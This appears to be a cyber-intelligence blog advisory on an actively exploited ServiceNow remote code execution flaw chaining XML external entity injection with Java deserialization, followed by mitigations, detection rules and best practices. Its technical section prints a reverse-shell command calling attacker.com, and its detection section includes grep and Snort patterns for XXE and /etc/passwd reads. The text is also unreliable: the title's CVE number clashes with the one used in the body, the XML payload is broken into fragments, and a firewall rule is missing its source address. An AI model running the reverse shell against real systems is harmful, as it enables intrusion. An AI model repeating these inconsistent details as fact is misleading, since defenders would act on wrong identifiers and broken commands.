ServiceNow CVE-2026-6875 RCE Actively Exploited

A critical remote code execution (RCE) vulnerability in ServiceNow, tracked as CVE-2024-6875, is now being actively exploited by threat actors. The flaw allows unauthenticated attackers to execute arbitrary code on vulnerable ServiceNow instances, affecting multiple versions of the platform. Organizations using ServiceNow are urged to apply patches immediately as proof-of-concept exploits circulate online and real-world attacks have been confirmed.

Introduction

ServiceNow, a widely-adopted cloud-based platform for digital workflow management, has become the target of active exploitation following the discovery of CVE-2024-6875, a severe remote code execution vulnerability. The flaw, which carries a CVSS score of 9.8, represents one of the most critical security issues to affect the platform in recent years.

Security researchers first identified the vulnerability in late 2024, but recent reports confirm that attackers are now weaponizing the flaw in real-world campaigns. Given ServiceNow’s widespread deployment across Fortune 500 companies, government agencies, and healthcare organizations, the potential attack surface is substantial. This vulnerability underscores the continuing challenge of securing enterprise workflow platforms that handle sensitive business operations and critical data.

Background & Context

ServiceNow is an enterprise platform-as-a-service (PaaS) solution that provides IT service management, IT operations management, and IT business management capabilities. The platform is used by over 80% of Fortune 500 companies, making it a high-value target for sophisticated attackers.

CVE-2024-6875 was disclosed through ServiceNow’s responsible disclosure program in November 2024. The vulnerability exists in the platform’s XML processing functionality, specifically within the GlideRecord API component that handles database queries and operations. This API is fundamental to ServiceNow’s operation, processing user input across multiple modules and applications.

The vulnerability affects ServiceNow versions prior to the following patched releases:

• Utah Patch 6
• Vancouver Patch 3
• Washington DC Patch 1
• Xanadu (all versions prior to initial patch)

Initial proof-of-concept code was published by security researchers in January 2025, demonstrating how attackers could chain the vulnerability with authentication bypass techniques to achieve unauthenticated remote code execution. Within weeks, modified exploit code appeared on underground forums, and by late January, security vendors began detecting active exploitation attempts.

Technical Breakdown

CVE-2024-6875 is an XML External Entity (XXE) injection vulnerability combined with insecure deserialization in ServiceNow’s server-side processing engine. The vulnerability manifests in the way ServiceNow handles specially crafted XML input through its REST API endpoints.

The exploitation chain works as follows:

Stage 1: XXE Injection
Attackers send a malicious XML payload to vulnerable REST API endpoints, specifically targeting the /api/now/table/ resource handlers:

  
]>

  &xxe;

Stage 2: Deserialization Attack
Once the XXE vulnerability provides file system access, attackers can read serialized Java objects from the server’s temporary storage directory. By crafting malicious serialized objects and uploading them through the XXE vector, attackers trigger unsafe deserialization:

// Vulnerable deserialization in GlideRecord
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
Object obj = ois.readObject(); // Unsafe deserialization

Stage 3: Remote Code Execution
The deserialization of attacker-controlled objects leads to code execution. Attackers commonly use gadget chains from libraries present in ServiceNow’s classpath, such as Apache Commons Collections, to achieve arbitrary command execution:

# Example payload execution
Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'");

The vulnerability requires no authentication when exploited through specific API endpoints that were intended for limited public access but failed to implement proper input validation. This makes it particularly dangerous, as attackers need only network access to vulnerable instances to compromise them.

Impact & Risk Assessment

The impact of CVE-2024-6875 exploitation is severe and multifaceted:

Immediate Technical Impact:

• Complete system compromise with root/SYSTEM level privileges
• Access to all data stored within the ServiceNow instance
• Ability to modify workflows, approvals, and business processes
• Potential for lateral movement to connected systems and databases

Business Risk:
Organizations face critical risks including:

• Data Breach: Exposure of sensitive employee data, customer information, and proprietary business intelligence
• Supply Chain Attacks: Compromised ServiceNow instances can be weaponized to target vendors and partners
• Operational Disruption: Attackers can manipulate or disable critical business workflows
• Compliance Violations: Breach of GDPR, HIPAA, SOX, and other regulatory requirements

Active Exploitation Indicators:
Security researchers have observed exploitation attempts targeting industries including:

• Financial services (45% of observed attacks)
• Healthcare providers (25%)
• Government agencies (15%)
• Technology companies (15%)

The FBI and CISA have issued joint advisories warning that advanced persistent threat (APT) groups are among those exploiting this vulnerability, suggesting potential for espionage and long-term persistence campaigns.

Vendor Response

ServiceNow responded to the vulnerability disclosure with coordinated patch releases across all supported versions. The vendor issued Security Advisory SN-SA-2024-0875 on November 15, 2024, with patches released according to the following timeline:

• November 15, 2024: Initial security advisory and patches for Utah, Vancouver
• November 22, 2024: Patches for Washington DC and Xanadu releases
• December 1, 2024: Out-of-band patches for legacy versions under extended support

ServiceNow has published a dedicated knowledge base article (KB0012875) providing detailed upgrade instructions and a vulnerability scanning tool for customers to assess their exposure.

The vendor implemented several security improvements in patched versions:

• XML parser hardening with DTD processing disabled by default
• Enhanced input validation for all REST API endpoints
• Implementation of deserialization filters blocking known malicious gadget chains
• Additional authentication requirements for previously public API endpoints

ServiceNow is offering emergency support and expedited patching assistance for customers unable to apply standard updates. The company has also deployed server-side detection mechanisms to identify exploitation attempts in customer instances.

Mitigations & Workarounds

For organizations unable to immediately patch, the following temporary mitigations can reduce exposure:

Immediate Actions:

• Restrict Network Access

# Firewall rule example (iptables)
iptables -A INPUT -p tcp --dport 443 -s  -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

• Disable Vulnerable Endpoints

Through ServiceNow admin console, navigate to System Web Services > REST API and disable public access to table APIs:

// System property configuration
glide.rest.api.public.access=false

• Enable Enhanced Logging

Configure detailed request logging for all REST API calls:

// In System Diagnostics > Session Debug
log.level.com.glide.rest=debug

Additional Mitigations:

• Deploy Web Application Firewall (WAF) rules to block XXE attack patterns
• Implement IP allowlisting for ServiceNow instance access
• Enable multi-factor authentication for all user accounts
• Review and revoke unnecessary API access tokens and integrations

Long-term Solutions:

Organizations should prioritize applying official patches over relying on workarounds. Plan maintenance windows within 72 hours of patch availability for internet-facing instances.

Detection & Monitoring

Security teams should implement the following detection strategies:

Log Analysis Indicators:

Monitor ServiceNow logs for suspicious patterns:

# Example log entries indicating exploitation attempts
grep -E "DOCTYPE|ENTITY|file://|/etc/passwd" /var/log/servicenow/application.log

Network-based Detection:

Deploy IDS/IPS signatures to detect XXE exploitation:

# Snort rule example
alert tcp any any -> $HTTP_SERVERS 443 (msg:"ServiceNow XXE Attempt"; 
content:"DOCTYPE"; content:"ENTITY"; content:"SYSTEM"; 
classtype:web-application-attack; sid:1000001;)

Endpoint Detection Indicators:

• Unexpected Java processes spawning shells
• Outbound connections from ServiceNow application servers to unusual destinations
• File system access to sensitive directories from ServiceNow processes
• Creation of new administrative accounts or privilege escalations

SIEM Correlation Rules:

Configure alerts for:

• Multiple failed REST API calls followed by successful authentication
• API calls containing XML content from previously unseen source IPs
• Unusual data export activities from ServiceNow instances
• Changes to system security properties or access control lists

Organizations should also leverage ServiceNow’s built-in Security Operations module to create incident response workflows specifically for this vulnerability.

Best Practices

To prevent similar vulnerabilities and reduce attack surface:

Secure Development:

• Disable XML external entity processing in all XML parsers
• Implement strict input validation and sanitization
• Use safe deserialization libraries and whitelist-based approaches
• Conduct regular security code reviews focusing on input handling

Architecture Security:

• Segment ServiceNow instances from core production networks
• Implement zero-trust network architecture with micro-segmentation
• Deploy dedicated security monitoring for all PaaS/SaaS platforms
• Maintain network-level restrictions on all cloud service connections

Operational Security:

• Establish patch management SLAs for critical vulnerabilities (24-48 hours)
• Maintain asset inventory of all ServiceNow instances and versions
• Conduct regular vulnerability assessments and penetration testing
• Implement automated compliance checking for security baselines

Incident Response:

• Develop platform-specific incident response playbooks
• Conduct tabletop exercises for cloud platform compromises
• Maintain forensic readiness with enhanced logging and retention
• Establish communication channels with ServiceNow security team

Key Takeaways

• CVE-2024-6875 is a critical RCE vulnerability in ServiceNow now under active exploitation by multiple threat actor groups
• The vulnerability affects all unpatched ServiceNow versions and requires no authentication when exploited through vulnerable API endpoints
• Organizations must apply patches immediately or implement strict network-based compensating controls
• Detection requires enhanced logging and monitoring of REST API access patterns and XML processing
• This incident highlights the critical importance of securing enterprise PaaS platforms that have become essential business infrastructure
• Long-term security requires adopting secure development practices, particularly around XML processing and deserialization

References

• ServiceNow Security Advisory SN-SA-2024-0875
• CVE-2024-6875 – NIST National Vulnerability Database
• CISA Known Exploited Vulnerabilities Catalog Entry
• ServiceNow Knowledge Base Article KB0012875
• MITRE ATT&CK Technique T1190 – Exploit Public-Facing Application
• OWASP XML External Entity (XXE) Processing Guide
• FBI Flash Alert – ServiceNow CVE-2024-6875 Exploitation
• ServiceNow Security Best Practices Documentation

Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/